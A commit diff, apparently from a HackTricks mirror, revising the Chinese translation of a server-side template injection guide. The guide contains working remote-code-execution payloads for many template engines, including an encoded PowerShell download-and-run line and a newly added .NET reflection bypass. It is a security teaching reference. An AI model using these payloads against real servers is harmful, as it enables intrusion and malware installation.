mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
7a14e2b510
commit
5f3584b62d
@ -4,13 +4,13 @@
|
||||
|
||||
## 什么是 SSTI (服务器端模板注入)
|
||||
|
||||
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在各种技术中找到,包括 Jinja。
|
||||
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
|
||||
|
||||
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
在这段脆弱的代码中,用户请求中的 `name` 参数被直接传递到模板中,使用 `render` 函数。这可能允许攻击者将恶意代码注入到 `name` 参数中,从而导致服务器端模板注入。
|
||||
在这段脆弱的代码中,用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能允许攻击者将恶意代码注入到 `name` 参数中,从而导致服务器端模板注入。
|
||||
|
||||
例如,攻击者可以构造一个包含如下有效负载的请求:
|
||||
```
|
||||
@ -18,7 +18,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
有效载荷 `{{bad-stuff-here}}` 被注入到 `name` 参数中。该有效载荷可以包含 Jinja 模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而可能控制服务器。
|
||||
|
||||
为了防止服务器端模板注入漏洞,开发人员应确保在将用户输入插入模板之前,正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助降低此漏洞的风险。
|
||||
为了防止服务器端模板注入漏洞,开发人员应确保在将用户输入插入模板之前,正确地对其进行清理和验证。实施输入验证和使用上下文感知的转义技术可以帮助减轻此漏洞的风险。
|
||||
|
||||
### 检测
|
||||
|
||||
@ -27,23 +27,23 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
- 抛出的错误,揭示漏洞并可能显示模板引擎。
|
||||
- 反射中缺少有效载荷,或部分缺失,暗示服务器以不同于常规数据的方式处理它。
|
||||
- **明文上下文**:通过检查服务器是否评估模板表达式(例如 `{{7*7}}`,`${7*7}`)来区分 XSS。
|
||||
- **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,以查看服务器的输出是动态的还是固定的,例如 `greeting=data.username}}hello` 返回用户名。
|
||||
- **代码上下文**:通过更改输入参数确认漏洞。例如,改变 `http://vulnerable-website.com/?greeting=data.username` 中的 `greeting`,查看服务器的输出是动态的还是固定的,例如 `greeting=data.username}}hello` 返回用户名。
|
||||
|
||||
#### 识别阶段
|
||||
|
||||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`、`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
|
||||
识别模板引擎涉及分析错误消息或手动测试各种特定语言的有效载荷。常见的导致错误的有效载荷包括 `${7/0}`,`{{7/0}}` 和 `<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。
|
||||
|
||||
#### 通过有效载荷识别
|
||||
|
||||
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- 更多信息请见 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- 更多信息请参见 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
## 工具
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
一个高效的 SSTI + CSTI 扫描器,利用新颖的多语言组合。
|
||||
一个高效的 SSTI + CSTI 扫描器,利用新颖的多语言组合
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -96,7 +96,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
||||
```
|
||||
### FreeMarker (Java)
|
||||
|
||||
您可以在 [https://try.freemarker.apache.org](https://try.freemarker.apache.org) 尝试您的有效载荷
|
||||
您可以在 [https://try.freemarker.apache.org](https://try.freemarker.apache.org) 尝试您的有效载荷。
|
||||
|
||||
- `{{7*7}} = {{7*7}}`
|
||||
- `${7*7} = 49`
|
||||
@ -110,9 +110,9 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - 沙箱绕过**
|
||||
**Freemarker - 沙盒绕过**
|
||||
|
||||
⚠️ 仅适用于 2.3.30 版本以下的 Freemarker
|
||||
⚠️ 仅适用于 Freemarker 版本低于 2.3.30
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,_表达式内联_ 对于其他模板位置是支持的,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效负载可能看起来像 `[[${7*7}]]`。
|
||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,_表达式内联_ 对其他模板位置是支持的,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效负载可能看起来像 `[[${7*7}]]`。
|
||||
|
||||
然而,这个有效负载成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板,这并不常见。
|
||||
|
||||
Thymeleaf 还提供了 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
||||
Thymeleaf 还提供了 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时使用,如 Thymeleaf 文档中所示:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
@ -261,7 +261,7 @@ Pebble 的旧版本(< 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
新版本的 Pebble :
|
||||
新版本的 Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -319,7 +319,7 @@ Jinjava 是一个由 Hubspot 开发的开源项目,地址为 [https://github.c
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava project on Github](https://github.com/HubSpot/jinjava/)。
|
||||
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github](https://github.com/HubSpot/jinjava/)。
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -415,7 +415,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- 更多信息请查看 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
##
|
||||
|
||||
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
```
|
||||
**更多信息**
|
||||
|
||||
- 在 Smarty 部分的 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Smarty 部分
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates 是一个原生于 PHP 的模板引擎,受到 Twig 的启发。然而,与引入新语法的 Twig 不同,Plates 在模板中利用原生 PHP 代码,使其对 PHP 开发者来说直观易懂。
|
||||
Plates 是一个原生于 PHP 的模板引擎,受到 Twig 的启发。然而,与引入新语法的 Twig 不同,Plates 在模板中利用原生 PHP 代码,使其对 PHP 开发者直观易懂。
|
||||
|
||||
Controller:
|
||||
```php
|
||||
@ -666,12 +666,12 @@ URLencoded:
|
||||
|
||||
### JsRender (NodeJS)
|
||||
|
||||
| **模板** | **描述** |
|
||||
| -------- | ------------------------------------ |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
| **模板** | **描述** |
|
||||
| -------- | --------------------------------- |
|
||||
| | 评估并渲染输出 |
|
||||
| | 评估并渲染HTML编码输出 |
|
||||
| | 注释 |
|
||||
| 和 | 允许代码(默认禁用) |
|
||||
|
||||
- \= 49
|
||||
|
||||
@ -867,7 +867,7 @@ range.constructor(
|
||||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**关于如何滥用 Jinja 的更多细节**:
|
||||
**关于如何滥用 Jinja 的更多细节**:
|
||||
|
||||
{{#ref}}
|
||||
jinja2-ssti.md
|
||||
@ -897,18 +897,18 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= 成功`
|
||||
- `@() <= 成功`
|
||||
- `@("{{code}}") <= 成功`
|
||||
- `@ <= 成功`
|
||||
- `@{} <= 错误!`
|
||||
- `@{ <= 错误!`
|
||||
- `@(2+2) <= Success`
|
||||
- `@() <= Success`
|
||||
- `@("{{code}}") <= Success`
|
||||
- `@ <=Success`
|
||||
- `@{} <= ERROR!`
|
||||
- `@{ <= ERRROR!`
|
||||
- `@(1+2)`
|
||||
- `@( //C#代码 )`
|
||||
- `@( //C#Code )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NET `System.Diagnostics.Process.Start` 方法可以用来在服务器上启动任何进程,从而创建 webshell。你可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||
|
||||
**更多信息**
|
||||
|
||||
@ -928,6 +928,23 @@ ${x}
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net 绕过限制
|
||||
|
||||
.NET 反射机制可以用来绕过黑名单或程序集中的类缺失。DLL 可以在运行时加载,方法和属性可以从基本对象访问。
|
||||
|
||||
Dll 可以通过以下方式加载:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - 从文件系统加载。
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - 直接从请求中加载。
|
||||
|
||||
完整命令执行:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**更多信息**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
即使是 Perl,它也使用像 Ruby 中的 ERB 这样的标签。
|
||||
@ -950,7 +967,7 @@ ${x}
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 的结果是 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 结果为 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -972,7 +989,7 @@ return string(out)
|
||||
|
||||
### 更多漏洞
|
||||
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 的其余部分以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user